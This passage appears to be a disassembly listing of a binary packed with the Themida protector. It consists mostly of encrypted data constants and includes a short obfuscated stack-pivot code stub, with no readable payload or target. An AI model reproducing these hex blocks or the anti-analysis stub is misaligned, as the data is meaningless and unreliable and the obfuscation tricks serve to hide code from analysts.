		dd 10EE9A1Eh, 0FCC14893h, 0F5F58C1Fh, 96E3881Bh, 1142D9h
		dd 8FD22F00h, 479C16E8h, 1C5FDE20h, 0DA27857Dh,	95E84BB7h
		dd 0D1659AF2h, 926CF34Eh, 56A8CF14h, 1FE386D9h,	5521409Dh
		dd 0F3D7A03Dh, 7E5CA005h, 338E118Dh, 4E58DB25h,	0EDB34833h
		dd 290EEDA5h, 28963E4Fh, 8E9C74C7h, 0EE032D66h,	0ABCFCA12h
		dd 0FFC34E2Dh, 0A101207Dh, 3E83FF3Fh, 284CDE59h, 0B4ADF24Eh
		dd 0E3D92098h, 0BFD9BED8h, 4B5DD927h, 0AD14536h, 2409EAA0h
		dd 5DF0D8EDh, 0A5ECFCAFh, 8C6F82AAh, 919A28A6h,	2C6FF0B2h
		dd 55E3C0E5h, 47B20F6Bh, 7B138A66h, 79FB3ACEh, 7DE10524h
		dd 29D76A06h, 4CA00ABDh, 90DE9934h, 60439446h, 5CDBB888h
		dd 2380FAC4h, 0F38ED7F4h, 206832E3h, 53D59B75h,	79499413h
		dd 54C3A0FDh, 7AB50A6Ah, 6EA9F674h, 0F127DD14h,	0BA27DD94h
		dd 0F1F2B215h, 0B9977BCCh, 204843ABh, 2887EF8Dh, 0C6694A9Ah
		dd 0EC2B78F8h, 646BE291h, 8ED3518Eh, 7FBF3F03h,	55DCA1FCh
		dd 5EB00D6Dh, 43C355EBh, 61C352F6h
		dd 0BBD37D1Ch, 644B5526h, 1A65C48Eh, 9EACE9Fh, 82DF412Fh
		dd 94EF7717h, 7C9F61FCh, 75DA9446h, 0C3D77E90h,	0E6C692FEh
		dd 0C4E46B05h, 0A3250585h, 52293810h, 3249AD06h, 0AA78B926h
		dd 0C598FD37h, 0B3901F62h, 625A75EEh, 971ABC99h, 0E10CA1B9h
		dd 3A8E698Dh, 0C53CB59h, 234A5637h, 71E16279h, 8421A920h
		dd 84E7C9A7h, 3178C324h, 0ADC04F2Ch, 829A1BC6h,	49ABCD11h
		dd 0D29DCF88h, 7F5CED81h, 224E1330h, 1CDF728Ah,	18299BFh
		dd 963B5622h, 4F888178h, 7AFAC46Ch, 0DF30B25h, 0BD857AAh
		dd 0B2038F68h, 0D9B7947Ch, 0A9F67648h, 93C9166Eh, 70751226h
		dd 9D1EE0C8h, 2581E15Fh, 0AF8C51D8h, 0A3B253CAh, 7FBA99C4h
		dd 0F6602h, 53AE0B00h, 2B78F2CCh, 0E03BBA04h, 0BE036141h
		dd 79C4279Bh, 0B5017ED6h, 7648EF32h, 3A84ABF8h,	0E3DF62BDh
		dd 311D3C81h, 0F1F38419h, 5A38A005h, 338E1161h,	0D52D22Ch
		dd 0FA3CBC82h, 0C940257Ah, 93EFD149h, 16E2C34Eh, 0A6AA95Fh
		dd 0EE039BB5h, 0A5EDB40Dh, 0C6673112h, 0CB1574B8h, 1AC1D89h
		dd 11A20000h, 0FBC7328Fh, 0A20C2479h, 5A1DB048h, 0DFA5EDB3h
		dd 0B3901FFCh, 0BE2644E5h, 0A16ABC5h, 65ABCFD2h, 0B52DAFAh
		dd 0A03D68F7h, 0A00AC2D7h, 0A89A7F5Ch, 0AABBF649h, 9124ABC5h
		dd 6906D0A9h, 83DE5F27h, 20593714h, 81030748h, 520A530Eh
		dd 0B2F7A9B6h, 0B7A88DC0h, 37985FD9h, 172A064Bh, 0A00B1C60h
		dd 820D50D3h, 0B6E13EBCh, 49DF65DCh, 65F094CDh,	83E87A29h
		dd 2FCAh, 294D1D00h, 6691EC4Fh,	65094639h, 0CD92F6A7h
		dd 462B76F5h, 7E5972Ah,	6B48ABCFh, 0D7A2512Ch, 6C25A00Ah
		dd 39111DD8h, 0B6B283E8h, 5000000h, 0A5F87947h,	0B17F596Ah
		dd 0CDA7D22Fh, 0F13885E3h, 0B93A04ECh, 68A7FA7Bh, 0B00D6B5Bh
		dd 0B4CCA4D3h, 0EDB35E19h, 7EFDC3A5h, 0F2D7F423h, 8BD85826h
		dd 60C2220Ch, 6D7EB906h, 0EACF1295h, 0B8162847h, 31B3A5EDh
		dd 8B234DECh, 0EDAE8576h, 0EFC9AAA5h, 0D662195Dh, 0D25F23BBh
		dd 57E1C2ABh, 94BB0669h, 2776C92Ah, 766D8970h, 0EC6C2554h
		dd 8500000Dh, 4CB2D528h, 348AADF2h, 0FBC76AB5h,	0A101207Dh
		dd 0F45CE33Eh, 51AC0FBBh, 2D72F0CEh, 0E437B40Ah, 0A6FB7D45h
		dd 29FAB83h, 0A005F079h, 11EBDCBEh, 12E5788Eh, 17A5EDB4h
		dd 98305734h, 0AF89D656h, 7F025FC1h, 328F118Ah,	44E9B926h
		dd 0F476E9B8h, 5BDDE51Ch, 39F7E87Ah, 6247356Ch,	13CB89D6h
		dd 285255DAh, 5FC12140h, 6FF79702h, 36B27C14h, 0DA770FE9h
		dd 0ABCF4C1Eh, 0BC017F41h, 7917F4D4h, 77E835B7h, 0A7204A01h
		dd 9BAA862Eh, 74456h, 8E119D00h, 23ACC433h, 0CE5FE11Ch
		dd 0B2CFA936h, 0A5ED30C5h, 0FBCBCC10h, 299A8EF5h, 819AAEEBh
		dd 0AEC5CFC0h, 250A55D4h, 596CC40Bh, 85ADAA2Dh,	0ABE63BBDh
		dd 0BA6BE9Ah, 0ABD539CEh, 0D21C3417h, 946A0D52h, 7E40CF14h
		dd 0AE6BA2FDh, 6E7670C3h, 0D05560Bh, 0F6A0000h,	0D955ADCCh
		dd 9C1DE584h, 64C03E41h, 2586781Fh, 0A2DDB7DAh,	274A9516h
		dd 63065BDBh, 0BADD209Fh, 0F89FE444h, 906B8692h, 95A005EFh
		dd 2F47C4B7h, 0EDB3E992h, 0F4704EA5h, 0EECAAFh,	0C53D5C9Fh
		dd 59A40363h, 0D73DC74h, 0F5861B5Eh, 3AA5ED0Fh,	26960859h
		dd 0AE9009E7h, 1886F14Eh, 18989B21h, 121AA4CBh,	0B389CA60h
		dd 3Ch,	0F9794704h, 0AA246DA4h,	0DEAEEFB3h, 5ADAA489h
		dd 0DFB98A05h, 0ECD8EF42h, 74AAABA5h, 5EFFFFFDh, 280899C6h
		dd 94ABA927h, 0ED9DFEF9h, 7CC13DA5h, 9E59F49Ch,	83A5ED9Dh
		dd 2F5C3A0h, 0E9922F47h, 4EA5EDB3h, 9EE836Dh, 54A5EDB4h
		dd 40DD7B10h, 0ABD56E1Dh, 5823BED6h, 0DDA005F9h, 0B17F19FEh
		dd 734FD22Fh, 8F64D0F1h, 8984778Ah, 0CAA9A006h,	9E5FC399h
		dd 0D1519FB9h, 0BE3D058Ch, 7BB29E63h, 3AB4F477h, 2A84AAE5h
		dd 0A4895AD5h, 3C015EDAh, 70BA3AE9h, 0CE83F676h, 0BFBh
		dd 0A3C61994h, 0FB9EE35Fh, 345BA607h, 0E116ECAh, 4DEC2FB0h
		dd 9718ACE3h, 5DDD2544h, 22816100h, 0E646B8DFh,	849CF699h
		dd 5EE8E69h, 0C6B193A0h, 0C7328F11h, 0ED2479FBh, 6BCB3565h
		dd 7D033A16h, 46E936B6h, 0CB14F438h, 159D89h, 47220000h
		dd 3CB8F879h, 1B3602E7h, 0A5EDBD96h, 0FC95430Ch, 4D6AFFFFh
		dd 0F3841929h, 38A5EDB3h, 47DA765Bh, 0ABCFB469h, 0B5C84724h
		dd 0A00BB2BFh, 7A27A8C0h, 86D958FEh, 0B4293A0Bh, 0A8A18F43h
		dd 83085714h, 5324B90Eh, 0D8A00B5Eh, 0EC326AFBh, 0C04F9412h
		dd 0C321EE3h, 83E83F00h, 8ED3539Dh, 2562203h, 17Ch, 5C1847D5h
		dd 0A2594556h, 72314C24h, 1CA5ED9Bh, 0B641DC74h, 7BA5ED9Ah
		dd 1EC0B098h, 0C03E419Eh, 0F9940360h, 0A5ED9B62h, 2DE89CD5h
		dd 0B3D376CBh, 1D256C2Fh, 922A469Bh, 0ED9A7C7Fh, 0F6C2A1A5h
		dd 0B4096B57h, 9AC1267Dh, 8CE4A5EDh, 3F7AC522h,	750B422Eh
		dd 0CAF7AEFEh, 11E5789h, 11980000h, 0D826328Fh,	0BF8C0B58h
		dd 0FEC058D1h, 6957217Eh, 7797BA07h, 61FC94EFh,	0ABCFD23Bh
		dd 47DA5536h, 0A00B94B0h, 6FE69AD7h, 83E8F21Fh,	20C0h
		dd 294D1700h, 0D1ABC652h, 54ABCFCBh, 8E653877h,	31A00B9Bh
		dd 0FD31C478h, 0A683E8FCh, 0B2h, 2F8F1129h, 6EA98ED3h
		dd 159CDF40h, 3B76CB2Dh, 0C968B537h, 1FA17AFh, 26A5EDB4h
		dd 0D2A11C45h, 0BAF5DB80h, 7F0743DEh, 50D0A5EDh, 0C34E91EEh
		dd 0D87A1DE2h, 3C51FF94h, 0ABD1FE9Eh, 0F74AAB15h, 0F8774919h
		dd 74596AA5h, 0EA1B44DCh, 6C723994h, 1A9D634Dh,	0E847A9C7h
		dd 54AABB95h, 0CDAEC3D3h, 52A00835h, 0B479AC71h, 4C766E52h
		dd 0A25742Dh, 0EF4A0000h, 0B9358DACh, 7CFDC564h, 44A01E21h
		dd 56658FFh, 42BD97BAh,	72A75F6h, 43E63BBBh, 9ABD007Fh
		dd 0D87FC424h, 0B04BE672h, 75A005ECh, 7947A497h, 596AA5F8h
		dd 0D32EB17Fh, 0ADF2724Ch, 8F113D8Ah, 59D82632h, 0CFF32A06h
		dd 0C071106Dh, 3BDh, 97EC46A8h,	8A6D4B18h, 0D21A0D9Ah
		dd 0B9079FB9h, 710CE439h, 0ABD56DFDh, 0B7ED3714h, 0A13C542Fh
		dd 0A5E81087h, 96EE290Ah, 9D7BC828h, 23E0F380h,	66FE8A9Ah
		dd 23E030CBh, 3A16F59Ah, 0B6F67D03h, 5F7E013Eh,	31Eh, 0B3B54260h
		dd 572FA5EDh, 0AEA5EDB3h, 0B400FB16h, 5B25A5EDh, 3A0B86DBh
		dd 85E97B55h, 85CA620Eh, 0F124A3DDh, 49E4CC6Eh,	0ABCF4A27h
		dd 0BA6F2DB2h, 8187B436h, 0A1F4D7B7h, 766BA316h, 48027FBAh
		dd 29000009h, 10EE71CCh, 0D8264996h, 9F630659h,	45BDDC21h
		dd 90F89FE2h, 0F548AB1Fh, 0B10E6C52h, 88D350AEh, 4A9719E9h
		dd 9E334F27h, 0A005EBDDh, 47976042h, 6CABF679h,	0DB9C315Fh
		dd 40A5EDB3h, 49AB9563h, 18308DE9h, 0EDB3F285h,	775437A5h
		dd 0FD7F41D9h, 395469A0h, 0A5EDB33Eh, 0F4237EFDh, 4612F1D7h
		dd 5C37BFCFh, 6E589934h, 0EAC9ABD5h, 0C4BF2747h, 0B3E411ACh
		dd 6E4DA5EDh, 0E444AAC2h, 6FCFB19Fh, 3BE00F12h,	7A9A1E40h
		dd 0AF49BF4h, 16D857ACh, 89D65496h, 0C1228CA4h,	0B30F337Eh
		dd 76AF896Eh, 9DBBD014h, 564800h, 7DA88BA0h, 823A63CCh
		dd 9064DD5Ch, 0E1000008h, 0A8163984h, 906EF14Eh, 57ABCE11h
		dd 1DE584D9h, 4820479Ah, 0BD0063D7h, 79C6249Ah,	308BE8D6h
		dd 0F24FD111h, 0D66B076Fh, 0A005EC25h, 4D5F280Ah, 0AEF34F29h
		dd 0E712AFC9h, 78ABD56Dh, 336E70D7h, 0B65AF46h,	0CC2D36DCh
		dd 3909E7FAh, 72F03E5Ah, 1CE20A2Dh, 0B0C8479Ch,	6725A1Dh
		dd 1FFCDFA0h, 92EF4F31h, 0A4DF0767h, 2D8A748Ch,	4685FFAEh
		dd 0B29730AAh, 0DF2A4BE6h, 18FBA5EDh, 0D63FEF70h, 431CFE82h
		dd 66E3C75h, 9F1DE38Dh,	1AF6D742h, 0A304EA02h, 83DD7058h
		dd 769FFFFFh, 0FB39ACE9h, 0A085A9AAh, 3AC4DE75h, 62DF5A82h
		dd 7DFh, 47EA35B0h, 9FA2FF7Bh, 0D87FC223h, 12358AE6h, 51F04BACh
		dd 0BB3C8807h, 81E1C160h, 46A51D3Ch, 0A6A54FBh,	0A0B892B5h
		dd 5EA6A0Dh, 1AEDCFA0h,	0C7328F11h, 0ED2479FBh,	0A5701465h
		dd 275BFE43h, 89CB10E7h, 12988h, 8F115F00h, 79FBC732h
		dd 5EB0524h, 0F2D35EA3h, 0ABE00426h, 0D22C708Dh, 7947ABCFh
		dd 5B68A7FAh, 9A14DA76h, 0A186D958h, 34C35ED7h,	4BA00B94h
		dd 0A3EB6A1Eh, 4C83E8F2h, 3Ah, 52294D93h, 0CBD1ABC6h, 6A54ABCFh
		dd 0F14EA80Ah, 0E3C0E52Ch, 2944DCB4h, 0A00B9B4Eh, 9B75069Bh
		dd 0D9BAA00Bh, 213C14F7h, 0A00B9B52h, 0CD883C75h, 83E8FDC1h
		dd 9D62h, 8F117500h, 5ED82632h,	63FE9601h, 0A5EDB398h
		dd 0FFD9BE9Dh, 0AF37B886h, 0EDB36912h, 8EDCEA5h, 0E23FA181h
		dd 0D4298BB7h, 6E831BB5h, 0A5EDB38Dh, 1DB6CD92h, 68778DCDh
		dd 1E90AD8Bh, 6BA5ED8Dh, 7195B409h, 67FA96EDh, 0ABD204F7h
		dd 57AC08F6h, 9718E672h, 5ADD2544h, 0E4479407h,	6881766Dh
		dd 6BE37h, 0B56D300h, 0C3209A64h, 98E342BCh, 56AB09F9h
		dd 116CCF33h, 5DE9260Eh, 1EE087DAh, 0C23C43A0h,	8B771A65h
		dd 0D9B5D429h, 0E94B2C41h, 0F2D0A005h, 338E1139h, 0D52D22Ch
		dd 8F119D6Ah, 59D82632h, 0CFF32A06h, 0E771106Dh, 6E4A9719h
		dd 58F1h, 1847F800h, 0B30F0D43h, 4102236Eh, 220EE733h
		dd 0B63E8FD7h, 0EB4DB3DDh, 0F350AC96h, 0B1C9A784h, 0D49AD31Ch
		dd 0CD6B48ABh, 30EEF182h, 69075E26h, 4F823D4h, 4D2B08A0h
		dd 66749C1h, 6998DDBBh,	7F1972FAh, 0ECB292E2h, 80E3CDA5h
		dd 7D1F23Dh, 67D84427h,	51h, 52294D4Eh,	0E4D9ABC6h, 8F6CABCFh
		dd 72856D00h, 308AA00Bh, 1E9AA4D3h, 71C856C1h, 4CFD55CBh
		dd 0BABD21B8h, 83D6C697h, 0FFF815BFh, 24A00B96h, 0F39D6247h
		dd 0CDAEC35Bh, 52A00B96h, 0FA8AA771h, 4DA5EDC7h, 80FCC26Eh
		dd 0BB345523h, 0ACh, 52294D32h,	0FB16AEC6h, 0A5EDB400h
		dd 0FE7C4625h, 7B5576A1h, 0D56E8BE6h, 0D0A784ABh, 0A4F776B8h
		dd 277869CCh, 0D3DB9A2Eh, 7C83E35Bh, 70h, 52294D43h, 6E47ABC6h
		dd 0FDDEABD5h, 0B30E6D53h, 0A8896744h, 2A8D847Dh, 1C9658D7h
		dd 0C96048C7h, 0D29BFD33h, 5B67A72Eh, 410883E3h, 0DF000000h
		dd 0ED4F294Dh, 8A5B390h, 0ABD56DE7h, 98E3423Ch,	89244C11h
		dd 0A005F8EEh, 0BC735033h, 6F079849h, 2FCFC9E0h, 649E992h
		dd 0F46D4EA0h, 0E94B8A07h, 60D9B794h, 0C11519DCh, 0DBE83E3h
		dd 1000000h, 0EDCD4D42h, 64809A5h, 6FFFFFFFh, 0A7FA7947h
		dd 5833BBC9h, 6F809D30h, 1AF9ABD5h, 0B83B859Fh,	75F98B65h
		dd 0D158A503h, 0BF012F0Ch, 7D15E33Eh, 47304DE5h, 0ECA005F8h
		dd 0E40C210Fh, 37A5EDB2h, 2549DD54h, 6A3D4B12h,	0FC3508F4h
		dd 6E9EC771h, 4AE6CB15h, 5829237h, 30583BA0h, 82F74CEh
		dd 5DA21EE0h, 83557E04h, 5C347649h, 43EDA6CEh, 1E2AF32Eh
		dd 81AF8C9Ah, 0DA7DC03Fh, 53D41AB2h, 0B3926508h, 0B4978E4Eh
		dd 5EE741DCh, 1CE22675h, 0FBC8479Ch, 8CD1531Dh,	4E9315EDh
		dd 403BA3C3h, 33F79528h, 7152FC0Ah, 49324FE7h, 0EEF045DDh
		dd 90EA230Dh, 1090A359h, 0D552ACB3h, 0C7230F8Ah, 3C353F7Ah
		dd 982E8D88h, 45DD7205h, 29FB7F0h, 0F045DD79h, 1BF8DDBEh
		dd 0CA30D27Dh, 83502B46h, 0F6D5F046h, 0B81F7D6Dh, 0F271B1D0h
		dd 0A1E833B2h, 1870BF9Ch, 981658D6h, 1AFFCC4Bh,	97E2CE9Fh
		dd 853B7260h, 4BEE318Eh, 495FDF21h, 460E4334h, 260BE8F0h
		dd 18476D4Ah, 4783679Eh, 70CD2BBDh, 3DA7C593h, 81E3CF4Ah
		dd 1168F53Ch, 46EF46Bh,	0D07754A7h, 7E318EEEh, 0DA56DB0Bh
		dd 0C7240A85h, 0E8613D74h, 0E34EDC54h, 956D65Dh, 459D59Bh
		dd 9505F68Dh, 0E960A5EDh, 0CE289653h, 4B250671h, 95B40965h
		dd 0E573CE2Dh, 709A317Ah, 7642D9E3h, 0D394603Fh, 5139A5ECh
		dd 0E5B30E6Fh, 0DE5DD86Ch, 16AF583h, 53CE4059h,	0BE833B2h
		dd 5CF41C2Dh, 0ED0D36C1h, 7264FBA5h, 1791B71Ah,	4CE1CFACh
		dd 0A5ED7467h, 57D71937h, 63174276h, 0B19647A7h, 0E58B6546h
		dd 89CA7EAAh, 0FFFF594Bh, 0A39CC3FFh, 867A8616h, 53AF7CBBh
		dd 0A55098F2h, 8F11ECCBh, 51D32F32h, 0E3453D0Ch, 7783AB9Eh
		dd 4D9011DFh, 0A952E1C2h, 90A5EDB3h, 7C41C813h,	98D1BF9Ch
		dd 72CF51E4h, 15206C12h, 53C189CBh, 16000000h, 0C652294Dh
		dd 0D56E49ABh, 8FFDCABh, 8FEC25DDh, 81FDC54Ch, 9F7CC121h
		dd 39CF7A10h, 0F42380FAh, 0D44F2D7h, 0A604EA77h, 230DDE59h
		dd 8AA6DD01h, 0EC2F8C72h, 55E880A5h, 0A005F9A2h, 0B1CCA487h
		dd 0A5EDB43Fh, 0FB93F1D2h, 826EB335h, 42CDh, 294DE400h
		dd 78F8C652h, 0F1DFEC2Bh, 6DACC459h, 9C7FABD5h,	86857EADh
		dd 945AD52Ah, 8E698414h, 93A005F8h, 3AA4D3B0h, 0F967B94Fh
		dd 165FC80h, 0F8CBACC1h, 7350A005h, 56F82AEh, 18A5EDB3h
		dd 11EEE93Bh, 0FBC7328Fh, 0A20C2479h, 7011FF44h, 67F18AD2h
		dd 0CFD1D6CAh, 0A6B291ABh, 3CED6D39h, 328C2FBCh, 0E92008EDh
		dd 0B25DD9Ah, 13A9E0A0h, 0E8834C40h, 33F583h, 5BA50000h
		dd 351681DCh, 294D9C5Bh, 40AEC652h, 32139EE1h, 0CB31CB66h
		dd 72BCABCFh, 0E1C1AFF4h, 0FBF89702h, 82A00B9Bh, 6AA231D7h
		dd 0B83E8FDh, 0A3h, 328F11DCh, 0F815ADC7h, 0A5EDB3FFh
		dd 87694724h, 905ED924h, 7A44B310h, 0E03BB8FAh,	0EDD17C03h
		dd 0DAA5EDB8h, 9C62055Ah, 3A48C71Ch, 27BFD9B2h,	8B065BD9h
		dd 8943DEBAh, 4CABCFCDh, 42AAC86Fh, 920CEF02h, 3211A00Bh
		dd 2AAEC36Dh, 0B5A5F045h, 0F374BAD6h, 0B63989A8h, 0A9AD306Bh
		dd 86F37C4Fh, 1C6C9h, 0F34EAB00h, 0CB18926Ch, 80DB5AA4h
		dd 5EA301E1h, 1964C73Bh, 55E11E76h, 16E88FD2h, 0DA244B98h
		dd 837F025Dh, 0D1BDDC21h, 0E45324B9h, 0FAD8A005h, 338E1101h
		dd 459DB25h, 43A51D2Ch,	4D6E5BFEh, 0AEC65229h, 0B583E040h
		dd 0CFCBE098h, 0D71C43ABh, 2274CAC8h, 0DAFD1849h, 1AA82324h
		dd 5CA2FA35h, 371483E0h, 852FC459h, 1B56A00Bh, 0E79EEE65h
		dd 0B84783E8h, 88000000h, 0C7328F11h, 0B2578FBh, 56C153C4h
		dd 0A5986D19h, 2B168C12h, 2F663217h, 0ED076E50h, 84D95BA5h
		dd 469B1DE5h, 5833BBCBh, 1BAB9D30h, 4D2EABCFh, 0C03C822Ah
		dd 39173463h, 0A0C8C32Bh, 0F649A608h, 8F72071Ah, 0D8BBA5EFh
		dd 92ED4EB0h, 0DAB85986h, 0FA515BF7h, 7850AB08h, 4B9619E9h
		dd 506D97D0h, 1F50D97Ch, 0E7h, 4FD22D88h, 87AAF773h, 0C067BA3Bh
		dd 1A3D82FEh, 59F843A4h, 0B33480FFh, 79F9C968h,	3EBD0524h
		dd 2625CE3h, 98B09ABDh,	5E37205h, 0E2D5B7A0h, 0E5788E11h
		dd 0A5EDB412h, 30573417h, 36313798h, 0C4338E11h, 0B817EE7h
		dd 0AA0AF4DCh, 11C53255h, 0FBC7328Fh, 0EB052479h, 0DC5BA605h
		dd 0DD5F210Fh, 9F01E180h, 159CE15Fh, 0B415E67Bh, 391AA5EDh
		dd 60387754h, 52DD229Eh, 78B70C6Ch, 97AA866Bh, 0CF404866h
		dd 0B47F057Ch, 7648EF34h, 9837B4F6h, 19B93A78h,	0E5734AAh
		dd 3E72DB33h, 0F33E03D5h, 0E52C71CFh, 8B065BDDh, 0B1F845A7h
		dd 9C942821h, 4EC57BF6h
		dd 0EC2F8CEEh, 0B3D87073h, 6045FF7Ah, 227FE1C1h, 0AE24C916h
		dd 0FA284363h, 428DE71Eh, 54E9C4DFh, 7C9ABCA3h,	0EFBAAB88h
		dd 79F6C24Bh, 3, 112E1970h, 0E0CE4994h,	0CAF42380h, 0DBE7126Dh
		dd 0A78B065Bh, 0B0BEF944h, 9DA5EC2Fh, 6B57C21Fh, 7678B70Ah
		dd 5C68A7FCh, 81E78957h, 4C7h, 4EF8300h, 31243C33h, 3C33243Ch
		dd 0F5685C24h, 89000033h, 968242Ch, 89000028h, 0EC81241Ch
		dd 4, 0BB241C89h, 75E01415h, 0C105EBC1h, 0EB8107E3h, 0D19893B7h
		dd 545BDD89h, 81241C8Bh, 4C4h, 18E56800h, 2C890000h, 8438F24h
		dd 56241C8Bh, 0C681E689h, 4, 8704C683h,	8B5C2434h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_502A84
; ---------------------------------------------------------------------------
		db 41h
		dd 0A5B8E929h, 305E7D1h, 99E0FFC5h, 0C10BABB4h,	0CB5BC3A5h
		dd 874D7017h, 730B9B3Dh, 2F27321Dh, 2D674C9Dh, 584BDF4Bh
		dd 4B720FF8h, 3F65E80Ah, 0FF1CE105h, 0EB485869h, 24h, 8	dup(0)
		dd 0BDE900h
		db 2 dup(0)
word_54AF42	dw 0B589h		; DATA XREF: Themida_:004EEAE4o
		dd 5E7D262h, 0B9858Bh, 858B05E2h, 5E2311Dh, 0D2ACB58Dh
		dd 858D05E7h, 5E5540Eh,	55C3D0FFh, 0E8h, 0ED815D00h, 5E7D2B2h
		dd 0B9BD83h, 0F0105E2h,	2C85h, 62B5FF00h, 8B05E7D2h, 0E2311D85h
		dd 27363505h, 0D0FF3481h, 850F013Ch, 0Ah, 1B8h,	47E900h
		dd 0C0330000h, 40E9h, 8D1C6A00h, 0E7D266B5h, 0B5FF5605h
		dd 5E7D262h, 311D858Bh,	363505E2h, 0FF348127h, 0CC483D0h
		dd 0D266B58Dh, 468B05E7h, 4E08314h, 0F04F883h, 784h, 0E9C03300h
		dd 5, 1B8h, 0B9BD8300h,	105E200h, 7850Fh, 0C35D0000h, 2E9h
		dd 8DCF5D00h, 0E7D28B85h, 2D858905h, 0E905E20Eh, 98h, 94h
		dd 5, 1, 0A28h,	2, 20h dup(0)
		dd 690F12C9h, 0BBDE9h, 0D59A6800h, 14E905E7h, 68FFFAACh
		dd 5E7D6C7h, 0FAAC0AE9h, 0D7D068FFh, 0E905E7h, 68FFFAACh
		dd 5E7D865h, 0FAABF6E9h, 0D98568FFh, 0ECE905E7h, 68FFFAABh
		dd 5E7D9E0h, 0FAABE2E9h, 0DCE768FFh, 0D8E905E7h, 68FFFAABh
		dd 5E7DDFFh, 0FAABCEE9h, 0EAAE28FFh, 5D599DECh,	8408F0B1h
		dd 0EEAC2B1Eh, 565C81E0h, 4B543348h, 0A3860C92h, 1D6C6A38h
		dd 7237D3DFh, 0DB9B0785h, 6D4C0DAAh, 9885F9FFh,	0B3870E9h
		dd 514DDEE7h, 58A3E9EEh, 0AEFCCA13h, 25D80239h,	446577AEh
		dd 27D4DC1Dh, 9CC90299h, 8B11C609h, 0A3521594h,	0C31344E5h
		dd 75C2FC18h, 9885B654h, 57236BEh, 18C08302h, 18A65594h
		dd 167F488Dh, 1FAA240h,	0B099EC5Bh, 0F9FA2183h,	21444AB1h
		dd 2B7236BEh, 4CB480CAh, 47CABA3Ch, 3FE6A78Ah, 4121h, 7B180500h
		dd 0EE51D057h, 1647A6EAh, 18B90435h, 6F6CDDFCh,	2491DA21h
		dd 10A9F5E5h, 0D1064891h, 62D901FAh, 0A1013E1Bh, 0D412F9FAh
		dd 2B74A9E0h, 0C4DB3FE6h, 54000000h, 0ADC374D5h, 2512F9FAh
		dd 696EA684h, 6499D823h, 86E5A354h, 828D1855h, 779614C3h
		dd 7D7AE5C6h, 7465EC3Fh, 893FA836h, 0B7FC18BDh,	0EB5E4442h
		dd 645DA8EEh, 0F354CBFFh, 1FAEE9Bh, 66517DCAh, 0B9BA1FF9h
		dd 68F9FA8Ch, 6C28AC13h, 0E067DC19h, 1F592047h,	0FB6EC504h
		dd 0CA7D43B8h, 0DD4C528Bh, 0DE51FB7Ch, 8C5D2AF7h, 0B1286B9Eh
		dd 9ADB7CE3h, 4BF7DE51h, 7764EBFCh, 73C7CC29h, 2742FE7Dh
		dd 9385Ch, 8602F400h, 0E9AD2918h, 505C9CEDh, 0BA00F74Ah
		dd 0E2B02D1Ch, 17A84FE4h, 4F32D8E6h, 0A998068Ch, 1E636F33h
		dd 0F37D3D9h, 6CE051F6h, 4C31F9FFh, 276D6E8Eh, 8F4706BBh
		dd 4A8FB20Bh, 1898464Ch, 1D995D7Bh, 5618A1A0h, 8901FAD1h
		dd 710E6BB2h, 43F9FAA1h, 70F30A98h, 6E03B89h, 56CC685Ch
		dd 0A30CEDD1h, 0AC2A7EABh, 0EEEBAAD8h, 387533A2h, 0A3469BAFh
		dd 10E53FE6h, 0D9000001h, 0A3E7EFAEh, 2EA2571Ah, 18B9C889h
		dd 0F52219FCh, 0CCC43372h, 3154810Fh, 74FFF358h, 376C1ED7h
		dd 97448F96h, 0BCF566C3h, 9237FC18h, 0FC18BCA1h, 0EA1F3B70h
		dd 18BC0C4Dh, 316EC5FCh, 20D8A1C4h, 1CFC18B8h, 81B217DBh
		dd 50FC18B3h, 8120AE1Bh, 74971DDEh, 7E7BE6C7h, 0F14ED38h
		dd 0B3074891h, 6BDEFC18h, 92DB2270h, 0D079E825h, 1FAE046h
		dd 5E6298E9h, 2E518ECFh, 7AFD29B9h, 0F0C94212h,	83C212Ah
		dd 989AB019h, 0E766041Fh, 0DF181142h, 0F46BC0F7h, 0DF18E253h
		dd 634433F7h, 96D94827h, 0CEB35F65h, 2B7A870Dh,	0EFE7CBAh
		dd 80B187Bh, 2FA90000h,	0DA1A6F6Bh, 897130DEh, 2DA89905h
		dd 0DD1E636Fh, 0D5BCCBD7h, 18D13C8h, 0EFEBB920h, 0B65C609Ah
		dd 1A8006F3h, 0CD8E2B5Ah, 4F9FF6Fh, 39AEDD19h, 86204AFFh
		dd 0D19029CCh, 2C686C2Ch, 20279CD9h, 0EB327861h, 0AE4E0FA8h
		dd 0A887FC18h, 5D6CDA73h, 437D80FFh, 1CDDAC7Ah,	6E4A709Eh
		dd 99D82369h, 0E0A45060h, 0DB9A2FABh, 0C40F9E1Ch, 0C5769513h
		dd 0D9463F88h, 5EA52D29h, 0FC08A24Bh, 238697FEh, 0E067DC95h
		dd 12C347h, 0BFFE6102h,	66D7703Eh, 64F9F0C8h, 9FDC2F75h
		dd 0E72384F3h, 21D69988h, 0FBEC7F9Bh, 87F9F0C8h, 0F2B5B498h
		dd 0EB60BB09h, 0F2B534D2h, 5F21BA06h, 382C312Dh, 0B26AA009h
		dd 0D6AD0412h, 0CDF9B592h, 90BD842Bh, 0ACA8DBCh, 55F23D8Eh
		dd 9E69BB79h, 7740DB90h, 800CCCEAh, 0E871F065h,	596D3267h
		dd 9594C1BEh, 8BB8DE34h, 73A71A4h, 89159344h, 3C793FB8h
		dd 5EE955EBh, 2583B4Eh,	0BE000007h, 13567C38h, 463BA7E3h
		dd 0A1800E92h, 176A7036h, 8532D8E6h, 961CC1DEh,	0FCC23908h
		dd 256993D6h, 890FC8B9h, 8720410Dh, 0F9FF6ED6h,	0AEC4060Fh
		dd 6A7EBEFh, 61C6202Dh,	0FC18B9F0h, 6A1D4A21h, 8C59CDh
		dd 2CA8EB02h, 0FD81D68h, 0E605709Bh, 5ABCC916h,	0BB3B7AEDh
		dd 39AED3FFh, 0D3B8F3E7h, 303F88B1h, 924B0AC4h,	883A3B0Ch
		dd 9CEBF9FFh, 0CC5DC427h, 488C80E1h, 9BBC394Ch,	0A0548D5Dh
		dd 1F5481E4h, 505683CEh, 5CC4FE2Bh, 553C4904h, 66Dh, 0CDC9CD0Bh
		dd 963C787Ch, 7F9B27D3h, 0C1CDCB0Ah, 0A9357B60h, 0B12A7312h
		dd 5782E7E3h, 0FEFC4D49h, 0A45514B2h, 8DF4F8E6h, 0FF612B2Ch
		dd 73BBFAF9h, 0A7EBEFAEh, 0FDB61744h, 4ACD7C50h, 1C5A43DDh
